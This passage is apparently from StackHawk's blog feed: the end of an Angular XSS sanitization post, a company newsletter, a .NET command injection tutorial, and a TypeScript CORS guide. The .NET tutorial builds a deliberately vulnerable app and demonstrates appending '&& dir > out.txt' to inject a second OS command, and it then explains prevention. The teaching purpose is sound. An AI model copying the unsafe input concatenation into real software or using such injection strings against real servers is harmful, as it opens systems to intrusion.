&lt;/p&gt;&lt;p&gt;Create a reference of it inside our constructor: &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;We can now use DomSanitizer to sanitize any HTML according to a specific rule. Since we want to sanitize an HTML URL, we can use the SecurityContext module from the Angular core module. &lt;/p&gt;&lt;p&gt;&lt;code&gt;import { SecurityContext } from &amp;#39;@angular/core&amp;#39;;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Finally, we can now sanitize our URL like this: &lt;/p&gt;&lt;p&gt;&lt;code&gt;  url: string =this.DomSanitizer.sanitize(SecurityContext.URL, &amp;#39;javascript:alert(&amp;quot;you are hacked 🐱‍💻&amp;quot;)&amp;#39;;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;And now if you try to click the link, the alert should not appear. If you head over to the console, you&amp;#39;ll see something like this: &lt;/p&gt;&lt;p&gt;&lt;i&gt;The warning you&amp;#39;ll see after sanitizing.&lt;/i&gt;&lt;/p&gt;&lt;p&gt;That&amp;#39;s how you can sanitize your unsanitized HTML in your Angular + TypeScript applications to safeguard such use cases against lethal XSS attacks. You can read more about how to prevent XSS attacks in Angular applications in &lt;a href=&quot;https://www.stackhawk.com/blog/angular-xss-guide-examples-and-prevention/&quot;&gt;&lt;u&gt;our guide&lt;/u&gt;&lt;/a&gt; on that topic. &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;h2&gt;Conclusion&lt;/h2&gt;&lt;p&gt;XSS vulnerabilities are most commonly introduced in DOM manipulations. If you are careful about how you&amp;#39;re manipulating your DOM, avoiding them would be a breeze. You must also be careful when directly outputting HTML on the page. Developers often forget to sanitize this HTML, leading to XSS vulnerabilities that attackers may use to launch lethal attacks on your application.&lt;/p&gt;&lt;p&gt;&lt;i&gt;This post was written by Siddhant Varma. &lt;/i&gt;&lt;a href=&quot;https://www.linkedin.com/in/siddhantvarma99/&quot;&gt;&lt;u&gt;&lt;i&gt;Siddhant&lt;/i&gt;&lt;/u&gt;&lt;/a&gt;&lt;i&gt; is a full stack JavaScript developer with expertise in frontend engineering. He’s worked with scaling multiple startups in India and has experience building products in the Ed-Tech and healthcare industries. Siddhant has a passion for teaching and a knack for writing. He&amp;#39;s also taught programming to many graduates, helping them become better future developers.&lt;/i&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[StackHawk December Newsletter: How to Have a Very Happy Hawkiday Season!]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/stackhawk-december-newsletter-2021</guid><category><![CDATA[Monthly Newsletters]]></category><dc:creator><![CDATA[StackHawk]]></dc:creator><content:encoded>&lt;h2&gt;Owl I Want for Hawks-mas is You 🎄&lt;/h2&gt;&lt;p&gt;Seasons Tweetings! We&amp;#39;ve had a great year full of exciting changes – more hawks in the team nest, new features, and the return of in-person events where the whole company got together for the first time.&lt;/p&gt;&lt;p&gt;At StackHawk, we’re looking forward to everything that 2022 has to bring. We wish you all a very Happy Hawkidays and an egg-cellent New Year!&lt;/p&gt;&lt;h2&gt;The Changelog: New Features to Kaakaww About&lt;/h2&gt;&lt;p&gt;&lt;b&gt;StackHawk CLI is Now In Beta&lt;/b&gt;&lt;/p&gt;&lt;p&gt;As it works now, users need to install Docker Desktop on their local computer in order to use StackHawk. &lt;/p&gt;&lt;p&gt;With the new StackHawk command-line interface, devs can install and interact with the StackHawk scanner Hawkscan natively – ​​removing the docker dependency. The CLI will make it even easier to authenticate to the StackHawk platform, validate scan configs, and scan apps.&lt;/p&gt;&lt;p&gt;Can’t wait to try it out? Email &lt;a href=&quot;mailto:product@stackhawk.com&quot;&gt;&lt;u&gt;product@stackhawk.com&lt;/u&gt;&lt;/a&gt; now to ask to join the Beta.&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;mailto:product@stackhawk.com&quot;&gt;&lt;u&gt;&lt;b&gt;Send Us a Line&lt;/b&gt;&lt;/u&gt;&lt;/a&gt;&lt;/p&gt;&lt;h2&gt;Get Testing Over The Holidays&lt;/h2&gt;&lt;p&gt;If you’re like us, you know the holidays are a great time to play around with new tools and technology. &lt;/p&gt;&lt;p&gt;Our &lt;a href=&quot;https://www.youtube.com/watch?v=TI7E14vYWtU&quot;&gt;&lt;u&gt;JS Security Testing Workshop&lt;/u&gt;&lt;/a&gt; will teach you all about the most dev-friendly security testing tools. This step-by-step walkthrough shows how to easily automate application JS security testing using GitHub actions.&lt;/p&gt;&lt;p&gt;Get ready to roll-up the sleeves of your ugly holiday sweater and get started with automated AppSec testing!&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=TI7E14vYWtU&quot;&gt;&lt;u&gt;&lt;b&gt;Start Learning&lt;/b&gt;&lt;/u&gt;&lt;/a&gt;&lt;/p&gt;&lt;h2&gt;Other Happenings: Because We Have to Keep Corporate Busy Somehow&lt;/h2&gt;&lt;h3&gt;📺 HawkTalks&lt;/h3&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;[from the archives] &lt;/b&gt;&lt;a href=&quot;https://youtu.be/_tBugEDPwpo&quot;&gt;&lt;u&gt;StackHawk is Now Integrated with GitHub Code Scanning&lt;/u&gt;&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;[from the archives] &lt;/b&gt;&lt;a href=&quot;https://youtu.be/LDm0Fst81hU&quot;&gt;&lt;u&gt;ZAP DeepDive: WebSockets&lt;/u&gt;&lt;/a&gt;&lt;b&gt;&lt;/b&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;[from the archives] &lt;/b&gt;&lt;a href=&quot;https://www.stackhawk.com/blog/application-security-testing-with-stackhawk-at-devops-experience-2021/&quot;&gt;&lt;u&gt;Application Security Testing with StackHawk at DevOps Experience&lt;/u&gt;&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h3&gt;📖 Reading Material&lt;/h3&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://www.stackhawk.com/blog/log4shell-issue-overview-and-stackhawk-response-to-log4j-remote-code/&quot;&gt;&lt;u&gt;Log4Shell: Issue Overview and StackHawk Response to Log4j Vulnerability&lt;/u&gt;&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://www.stackhawk.com/blog/announcing-zapcon-2022-and-a-call-for-speakers/&quot;&gt;&lt;u&gt;Announcing ZAPCon 2022 and A Call for Speakers&lt;/u&gt;&lt;/a&gt;&lt;b&gt;&lt;/b&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;[from the archives] &lt;/b&gt;&lt;a href=&quot;https://www.stackhawk.com/blog/dynamic-application-security-testing-overview/&quot;&gt;&lt;u&gt;Dynamic Application Security Testing (DAST): Overview and Tooling Guide&lt;/u&gt;&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h3&gt;💼 Jobs @ StackHawk&lt;/h3&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;Software Engineer&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Solutions Architect&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Developer Advocate&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Head of Marketing &lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h3&gt;❤️ Give Us Some Love&lt;/h3&gt;&lt;p&gt;Share the goodness of developer-centric application security. We are always grateful for recommendations and referrals! We’d love for you to share StackHawk with your friends and colleagues, or &lt;a href=&quot;https://www.g2.com/products/stackhawk/competitors/alternatives&quot;&gt;&lt;u&gt;leave us a review on g2&lt;/u&gt;&lt;/a&gt;.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[.NET Command Injection: Examples and Prevention]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/net-command-injection-examples-and-prevention</guid><category><![CDATA[Vulnerabilities and Remediation]]></category><dc:creator><![CDATA[StackHawk]]></dc:creator><content:encoded>&lt;p&gt;The StackHawk blog routinely publishes posts about common security problems, how they work, and how to avoid them. There have been guides covering&lt;a href=&quot;https://www.stackhawk.com/blog/django-broken-access-control-guide-examples-and-prevention/&quot;&gt; &lt;u&gt;broken access control in Django&lt;/u&gt;&lt;/a&gt;,&lt;a href=&quot;https://www.stackhawk.com/blog/spring-path-traversal-guide-examples-and-prevention/&quot;&gt; &lt;u&gt;Spring path traversal&lt;/u&gt;&lt;/a&gt;, and&lt;a href=&quot;https://www.stackhawk.com/blog/vue-open-redirect-guide-examples-and-prevention/&quot;&gt; &lt;u&gt;Vue open redirect&lt;/u&gt;&lt;/a&gt;—and that&amp;#39;s just to name a few post topics. If you&amp;#39;re a .NET developer, this post is for you. We&amp;#39;ll cover .NET command injection.&lt;/p&gt;&lt;p&gt;The post will open with some fundamentals: You&amp;#39;ll learn what a command injection is, how it works, and why it&amp;#39;s dangerous. Then we&amp;#39;ll get to the .NET-specific portion of the post. You&amp;#39;ll see examples of .NET command injection attacks and what you as a developer can do to prevent them.&lt;/p&gt;&lt;p&gt;Let&amp;#39;s get started.&lt;/p&gt;&lt;h2&gt;Requirements&lt;/h2&gt;&lt;p&gt;If you want to follow along with the tutorial, you&amp;#39;ll need&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;the .NET SDK installed (I recommend version 6.0),&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;at least some familiarity with C# and .NET, and&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;a code editor or IDE.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;I&amp;#39;ll be using&lt;a href=&quot;https://code.visualstudio.com/&quot;&gt; &lt;u&gt;Visual Studio Code&lt;/u&gt;&lt;/a&gt;, and if you use the same, it&amp;#39;ll be slightly easier to follow along.&lt;/p&gt;&lt;p&gt;Additionally, bear in mind that as I write this guide, I&amp;#39;m on Windows. If you&amp;#39;re using OS X or Linux, make the necessary adjustments to the commands I&amp;#39;ll show.&lt;/p&gt;&lt;h2&gt;.NET Command Injection: The Fundamentals&lt;/h2&gt;&lt;p&gt;As promised, let&amp;#39;s start with the very basics of command injections.&lt;/p&gt;&lt;h3&gt;What Is a Command Injection?&lt;/h3&gt;&lt;p&gt;A command injection, as the name suggests, is a type of&lt;a href=&quot;https://en.wikipedia.org/wiki/Code_injection&quot;&gt; &lt;u&gt;code injection&lt;/u&gt;&lt;/a&gt; attack. Generally speaking, an injection attack consists of exploiting some vulnerability in an application to inject some malicious code that will interfere with the proper behavior of the application. The most famous type of injection attack is arguably &lt;a href=&quot;https://www.stackhawk.com/blog/what-is-sql-injection/&quot;&gt;&lt;u&gt;SQL injection&lt;/u&gt;&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;Command injections are also called OS command injections. In this exploit, a malicious actor is able to inject and execute commands on the operating system that the server is running on.&lt;/p&gt;&lt;h3&gt;Why Are Command Injections Dangerous?&lt;/h3&gt;&lt;p&gt;The results of a successful command injection can be catastrophic. An attacker who&amp;#39;s able to run arbitrary commands on your server might be able to, among other things,&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;access, change, or delete files and directories;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;read sensitive customer information;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;extract sensitive information and send it to an external server;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;access the list of current executing processes and kill one or more of them; and&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;as a result, take down important services and applications.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h3&gt;How Does a Command Injection Work?&lt;/h3&gt;&lt;p&gt;An OS command injection, like other types of injection attacks, exploits applications that don&amp;#39;t properly handle user input. In general terms, the attack works by &amp;quot;tricking&amp;quot; the application into accepting a seemingly harmless string and then concatenating that string of text to a command that is set to run.&lt;/p&gt;&lt;p&gt;The result of the concatenation is a malicious command that changes the original behavior of the application according to the design of the attacker.&lt;/p&gt;&lt;h2&gt;.NET Command Injection: Let&amp;#39;s See an Example&lt;/h2&gt;&lt;p&gt;Let&amp;#39;s see a simple example of command injection in practice.&lt;/p&gt;&lt;h3&gt;Creating a Sample Application&lt;/h3&gt;&lt;p&gt;We&amp;#39;ll start by creating a new .NET MVC app:&lt;/p&gt;&lt;p&gt;&lt;code&gt;dotnet new mvc -o injection-demo&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Then, let&amp;#39;s open the project using VS Code:&lt;/p&gt;&lt;p&gt;&lt;code&gt;cd injection-demo
code .&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;With the project open, go to the &lt;b&gt;Controllers&lt;/b&gt; folder and add a new file there:&lt;/p&gt;&lt;p&gt;Call the new file &lt;b&gt;ReportController&lt;/b&gt;. Paste the following code in it:&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;Next, go to &lt;b&gt;Views&lt;/b&gt; and add a new folder:&lt;/p&gt;&lt;p&gt;Call the folder &lt;b&gt;Report&lt;/b&gt; and create a file inside it called &lt;b&gt;Generate.cshtml&lt;/b&gt;. Add the following text to it:&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;h3&gt;Running the Sample App&lt;/h3&gt;&lt;p&gt;We&amp;#39;re now ready to run this app. If you configured your&lt;a href=&quot;https://code.visualstudio.com/docs/editor/debugging&quot;&gt; &lt;u&gt;VS Code for debugging&lt;/u&gt;&lt;/a&gt;, just press F5. Otherwise, go to your terminal and execute &lt;b&gt;dotnet run.&lt;/b&gt;&lt;/p&gt;&lt;p&gt;Regardless of how you do it, you should be able to go to &lt;u&gt;https://localhost:7168/&lt;/u&gt; and see the application live:&lt;/p&gt;&lt;p&gt;To test the app, go to the address bar and append &lt;b&gt;/report/generate/&amp;lt;SOME-NAME&amp;gt;&lt;/b&gt; to the address. Of course, replace &lt;b&gt;&amp;lt;SOME-NAME&amp;gt;&lt;/b&gt; with an actual name. Yours, for example. Then, press enter. Here&amp;#39;s what I see after doing this using my name:&lt;/p&gt;&lt;p&gt;After you&amp;#39;ve done this, go to the project folder, and you&amp;#39;ll see a file with your name:&lt;/p&gt;&lt;p&gt;That&amp;#39;s proof the command was executed successfully. But what about the command injection?&lt;/p&gt;&lt;h3&gt;Exploiting the App&lt;/h3&gt;&lt;p&gt;This sample app is quite naïve in the way it handles user input. It simply accepts any input and concatenates it into a command to be executed by the underlying OS.&lt;/p&gt;&lt;p&gt;Generally speaking, &lt;i&gt;you should never blindly trust any information that comes from the outside of your app.&lt;/i&gt; That includes&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;data from web forms,&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;URL parameters, and&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;data from POST/PUT/PATCH requests to API endpoints.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;To demonstrate how exploitable this app is, you just need to perform a very simple test. With the application running, append the following to the address bar content:&lt;/p&gt;&lt;p&gt;&lt;code&gt;&amp;amp;&amp;amp; dir &amp;gt; out.txt&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Then, run the app again. This is what I see in my browser:&lt;/p&gt;&lt;p&gt;It might look like an innocent result. Don&amp;#39;t fool yourself, though. Go to project&amp;#39;s folder and you&amp;#39;ll see a file called &lt;b&gt;out.txt&lt;/b&gt; there:&lt;/p&gt;&lt;p&gt;That&amp;#39;s right! The extra text you just added caused a second command to be executed. More specifically, the &lt;b&gt;dir&lt;/b&gt; command was executed, and then its output was piped into a new file. Open the file, and its contents should look somewhat like this:&lt;/p&gt;&lt;h2&gt;How to Prevent a .NET Command Injection&lt;/h2&gt;&lt;p&gt;As you&amp;#39;ve seen, the silly sample app we created offers no protection whatsoever against command injections. The &amp;quot;attack&amp;quot; we performed was rather benign, but in the real world, such incidents can have dire consequences.&lt;/p&gt;&lt;p&gt;So, what can you do to prevent such attacks? The best way is to simply not run OS commands from your web app. There are often better alternatives (e.g., job scheduling) than running commands directly.&lt;/p&gt;&lt;p&gt;If you do need to run commands, do it without blindly trusting user input. Validate the received data using regular expressions or even an allowlist to only allow legitimate values.&lt;/p&gt;&lt;p&gt;Also, don&amp;#39;t forget to leverage any tools you might have at your disposal. For instance, .NET offers many useful static analysis rules for security. One of them—&lt;a href=&quot;https://docs.microsoft.com/en-us/dotnet/fundamentals/code-analysis/quality-rules/ca3006&quot;&gt;&lt;u&gt;CA3006&lt;/u&gt;&lt;/a&gt;—is about command injection. Don&amp;#39;t deactivate these rules. Better yet, configure your project so they issue compiler errors instead of mere warnings.&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;h2&gt;.NET Command Injections: Know Them and Guard Your Apps Against Them&lt;/h2&gt;&lt;p&gt;Pop culture has imprinted the stereotypical hacker into all of our minds. As it turns out, real-world exploits are much more mundane and often occur due to developers not being diligent enough when protecting their applications. Among the myriad exploits out there, code injection attacks are some of the most well known. Among its subtypes, we can cite SQL injections and command injections. This post was about the former.&lt;/p&gt;&lt;p&gt;In this post, we offered you an introductory guide to .NET command injections. You&amp;#39;ve learned about OS command injections, the danger they pose to applications, and what to do about them.&lt;/p&gt;&lt;p&gt;Thank you for reading, and until next time.&lt;/p&gt;&lt;p&gt;&lt;i&gt;This post was written by Carlos Schults. &lt;/i&gt;&lt;a href=&quot;https://carlosschults.net&quot;&gt;&lt;u&gt;&lt;i&gt;Carlos&lt;/i&gt;&lt;/u&gt;&lt;/a&gt;&lt;i&gt; is a consultant and software engineer with experience in desktop, web, and mobile development. Though his primary language is C#, he has experience with a number of languages and platforms. His main interests include automated testing, version control, and code quality.&lt;/i&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[TypeScript CORS Guide: What It Is and How to Enable It]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/typescript-cors-guide-what-it-is-and-how-to-enable-it</guid><category><![CDATA[Vulnerabilities and Remediation]]></category><dc:creator><![CDATA[StackHawk]]></dc:creator><content:encoded>&lt;p&gt;If you&amp;#39;ve built robust Node.js APIs with TypeScript before, I&amp;#39;m sure you&amp;#39;ve run into the infamous CORS error at least once. Or perhaps you&amp;#39;ve had the front-end folks of your team complain about it a million times! &lt;/p&gt;&lt;p&gt;CORS is often trickier than it appears. A lot of developers struggle to understand what it means. Even worse, developers spend hours fixing it, only to realize they&amp;#39;ve been thinking in the wrong direction. In this post, I&amp;#39;ll help you understand what CORS is and why it occurs. Then I&amp;#39;ll walk you through how to enable CORS in your Node.js and TypeScript application. &lt;/p&gt;&lt;h2&gt;What Is CORS?&lt;/h2&gt;&lt;p&gt;Let&amp;#39;s first understand what CORS actually means. CORS stands for cross-origin resource sharing. It&amp;#39;s a rule that determines if a browser is allowed to retrieve some data from a server. So there are two things we need to focus on to get the hang of CORS: First, who sets this rule? And second, how? &lt;/p&gt;&lt;p&gt;When we answer those questions, it becomes really easy to figure out why CORS errors occur and how to fix them. But before we talk about these two things, let&amp;#39;s understand the purpose of CORS and why it exists in the first place. &lt;/p&gt;&lt;h2&gt;Resource Sharing Between Client and Server&lt;/h2&gt;&lt;p&gt;Modern web applications typically follow the &lt;a href=&quot;https://www.sciencedirect.com/topics/computer-science/client-server-architecture&quot;&gt;&lt;u&gt;client-server architecture&lt;/u&gt;&lt;/a&gt;. So the client, or the front end of an application, makes an HTTP request to the server. The server receives this request, understands it, and performs an action accordingly. &lt;/p&gt;&lt;p&gt;Now, this action could be anything, from getting data from the database to writing into the database to updating an entry in the database—literally anything. But all in all, it sends back a response to the client. &lt;/p&gt;&lt;p&gt;&lt;i&gt;The client-server relationship.&lt;/i&gt;&lt;/p&gt;&lt;p&gt;This allows the front end and back end of an application to communicate and share resources with one another. But the client side of a web application always runs on a browser. That&amp;#39;s where some complications arise because there are a lot of things that front-end developers don&amp;#39;t have a hundred percent control over. &lt;/p&gt;&lt;h2&gt;Browser Imposes the Same-Origin Policy&lt;/h2&gt;&lt;p&gt;Web browsers have been around for decades. Their existence has shaped the way web applications work, especially the security aspect of it. This is why browsers by default impose the same-origin policy on all client applications. This policy states that if your application that&amp;#39;s running on a browser requests a resource from a server that has a different origin than your application, the browser will block that request by default. &lt;/p&gt;&lt;h2&gt;But What Is This Origin?&lt;/h2&gt;&lt;p&gt;Origin typically constitutes a combination of the domain name, port number, and scheme. The scheme represents the protocol of the URL—for instance if it&amp;#39;s HTTP or HTTPS. The domain name and port number together represent the part of the URL that&amp;#39;s visible to you or other users. &lt;/p&gt;&lt;p&gt;So if your web app is running at abcd.com, and you try to request a resource located at xyz.com, the browser (where your abcd.com is running and making requests out to xyz.com) will kick in its same-origin policy. &lt;/p&gt;&lt;h2&gt;You Need CORS!&lt;/h2&gt;&lt;p&gt;So now the problem is that your applications need resources from providers of different origins. And this problem has a number of use cases. &lt;/p&gt;&lt;p&gt;First, you could have a decoupled client-server architecture for your web application. This means you could have a purely isolated front end running at abcd.com, and an isolated back end running at xyz.com. You need them to interact with each other, but since they&amp;#39;re on different domains and essentially different origins, you can&amp;#39;t. &lt;/p&gt;&lt;p&gt;Another use case is interacting with third-party APIs and services. You could use a third-party API for payments on your website, or maybe a third-party service to handle authentication on your application. &lt;/p&gt;&lt;blockquote&gt;&lt;p&gt;No matter what the &lt;b&gt;use case&lt;/b&gt;, a third-party service will always have a different origin than your application. &lt;/p&gt;&lt;/blockquote&gt;&lt;p&gt;For your application to interact with web servers and APIs of different origins, you need CORS. CORS will tell the browser to lift its same-origin policy and enable resource sharing between the respective client and server. That&amp;#39;s why and how CORS can be helpful to you. In case you&amp;#39;re curious to learn more about CORS, check out &lt;a href=&quot;https://www.stackhawk.com/blog/what-is-cors/&quot;&gt;&lt;u&gt;this amazing guide&lt;/u&gt;&lt;/a&gt; that dives deeper into the subject. &lt;/p&gt;&lt;p&gt;So now let&amp;#39;s answer the first question. Who actually sets CORS? &lt;/p&gt;&lt;h2&gt;CORS Is Enabled From the Server&lt;/h2&gt;&lt;p&gt;Since resources are retrieved from the server, the server has full control over which clients are given access to it. For the same reason, enabling CORS is also done on the server side. &lt;/p&gt;&lt;p&gt;This means that in your application, you&amp;#39;ll have a back-end component. This back-end component is supposed to ensure which URLs or clients it will enable CORS for. &lt;/p&gt;&lt;p&gt;Now to answer the second question. As to how to enable CORS, let&amp;#39;s write some code! &lt;/p&gt;&lt;h2&gt;Create a Node.js Project With TypeScript&lt;/h2&gt;&lt;p&gt;For the purpose of this tutorial, we&amp;#39;ll focus on a back end built with Node.js and Express, written in TypeScript. I have &lt;a href=&quot;https://www.stackhawk.com/blog/nodejs-cors-guide-what-it-is-and-how-to-enable-it/&quot;&gt;&lt;u&gt;a similar tutorial that follows in JavaScript&lt;/u&gt;&lt;/a&gt; that you can check out too. &lt;/p&gt;&lt;p&gt;Inside a directory of your choice, create a new npm project by running: &lt;/p&gt;&lt;p&gt;&lt;code&gt;mkdir nodejs-ts-cors &amp;amp;&amp;amp; npm init -y&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Then, we&amp;#39;ll install TypeScript as a development dependency by running: &lt;/p&gt;&lt;p&gt;&lt;code&gt;npm i --save-dev typescript&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;If you open the project, you should now have a &lt;b&gt;package.json &lt;/b&gt;file, a &lt;b&gt;package-lock.json&lt;/b&gt; file, and a &lt;b&gt;node_modules&lt;/b&gt; folder. &lt;/p&gt;&lt;p&gt;Next, create a file called &lt;b&gt;tsconfig.json&lt;/b&gt; at the root of the project. This file will specify all the configurations for TypeScript to build our project. Add the following code inside it: &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;Finally, we need to replace the &lt;b&gt;main&lt;/b&gt; entry inside our &lt;b&gt;package.json&lt;/b&gt; file: &lt;/p&gt;&lt;p&gt;&lt;code&gt;...
&amp;quot;main&amp;quot;: &amp;quot;dist/server.js&amp;quot;
...&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;And add a new script that can directly run our JavaScript code at runtime when it&amp;#39;s compiled from TypeScript: &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;h2&gt;Create an Express and TypeScript Server&lt;/h2&gt;&lt;p&gt;We need to set up a server before we can create an endpoint to send resources. To create the server, we&amp;#39;ll install Express as shown: &lt;/p&gt;&lt;p&gt;&lt;code&gt;npm i --save express@4.17.1&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;To use Express alongside TypeScript&amp;#39;s classes and types, we also need to install &lt;b&gt;types/express &lt;/b&gt;as shown: &lt;/p&gt;&lt;p&gt;&lt;code&gt;npm install -save-dev @types/express@4.17.1&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Now create a file called &lt;b&gt;server.ts&lt;/b&gt; inside the root directory with the following code:&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;If you now run the command &lt;b&gt;npm run start&lt;/b&gt;, our TypeScript compiler will compile our &lt;b&gt;server.ts&lt;/b&gt; file, generate its equivalent JavaScript code inside the &lt;b&gt;dist/server.js&lt;/b&gt; file, and serve it on our localhost. If you visit &amp;quot;http://localhost:3000&amp;quot;, you should get back the following response: &lt;/p&gt;&lt;p&gt;&lt;i&gt;A view of the response you&amp;#39;ll get.&lt;/i&gt;&lt;/p&gt;&lt;p&gt;Awesome! Let&amp;#39;s now create a simple endpoint that sends back some resources. &lt;/p&gt;&lt;h2&gt;Create a REST API&lt;/h2&gt;&lt;p&gt;Let&amp;#39;s write a simple REST API that sends back some JSON data. We&amp;#39;ll create an endpoint &lt;b&gt;/dog&lt;/b&gt; to send back some JSON data about—you guessed it—a dog! &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;Great! Let&amp;#39;s test it out now. You&amp;#39;ll need to rerun the &lt;b&gt;npm run start &lt;/b&gt;command. If you now visit &amp;quot;http://localhost:3000/dog&amp;quot;, you should get back the following response:&lt;/p&gt;&lt;p&gt;&lt;i&gt;A view of the response you&amp;#39;ll get.&lt;/i&gt;&lt;/p&gt;&lt;p&gt;So it seems we now have a GET API in TypeScript that sends back some resources. But what happens when we request this resource from a client-side application like React or Angular?&lt;/p&gt;&lt;h2&gt;&lt;b&gt;The CORS Error&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;To demonstrate this, we&amp;#39;ll create a React app and try to make a request to the above endpoint. First, let&amp;#39;s create a new React project by running:&lt;/p&gt;&lt;p&gt;&lt;code&gt;npx create-react-app dog-app&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Once that&amp;#39;s done, open up the project and update the &lt;b&gt;App.js&lt;/b&gt; file with the following code: &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;This code renders a button on the page. When you click the button, it calls a function that makes a request to the endpoint &amp;quot;http://localhost:3000/dog&amp;quot;. It then takes the resource or JSON data received, pushes that data into the app component&amp;#39;s state, and shows it on the page. &lt;/p&gt;&lt;p&gt;Let&amp;#39;s test it out. You have to run npm to start running this, and it might ask you to open this app on a different port since we&amp;#39;re already using port 3000 for our TypeScript and Express back-end server. Once it&amp;#39;s in your browser, if you press the &lt;b&gt;Get Dogg!&lt;/b&gt; button, you should get an error on the console like this: &lt;/p&gt;&lt;p&gt;&lt;i&gt;The CORS error after hitting the &amp;quot;Get Dogg!&amp;quot; button.&lt;/i&gt;&lt;/p&gt;&lt;h2&gt;Enable CORS&lt;/h2&gt;&lt;p&gt;We need to get rid of that CORS error. One solution is that we can manually enable CORS on our endpoint for that client. We can do that by adding a key &amp;quot;Access-Control-Allow-Origin&amp;quot; on the header of the response. The value of this key is the URL of the application or client you wish to enable CORS for. &lt;/p&gt;&lt;p&gt;In our case, it&amp;#39;s &amp;quot;http://localhost:3001&amp;quot; or wherever your React app is running. &lt;/p&gt;&lt;p&gt;&lt;code&gt;app.get(&amp;#39;/dog&amp;#39;,(req,res)=&amp;gt;{
    res.set(&amp;#39;Access-Control-Allow-Origin&amp;#39;, &amp;#39;http://localhost:3001&amp;#39;);
   ...
})&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Now your React application will be able to access resources from &amp;quot;http://localhost:3000&amp;quot;. If you refresh your back end, click the &lt;b&gt;Get Dogg!&lt;/b&gt; button again. &lt;/p&gt;&lt;p&gt;&lt;i&gt;The Get Dogg! button in action.&lt;/i&gt;&lt;/p&gt;&lt;p&gt;We now get back the data from our TypeScript API! Awesome. We&amp;#39;ve successfully enabled CORS in our Node.js and TypeScript application. &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;h2&gt;Conclusion&lt;/h2&gt;&lt;p&gt;There&amp;#39;s another neat way to enable CORS in your Node.js and TypeScript server. You can use the CORS middleware dependency that allows you to configure CORS easily in a more customized way. The implementation for Node.js is similar to TypeScript, and you can learn how to do that in &lt;a href=&quot;https://www.stackhawk.com/blog/nodejs-cors-guide-what-it-is-and-how-to-enable-it/#use-the-cors-express-middleware&quot;&gt;&lt;u&gt;this tutorial&lt;/u&gt;&lt;/a&gt;. &lt;/p&gt;&lt;p&gt;If you want a front-end-specific hack to this age-old CORS problem, here are solutions for &lt;a 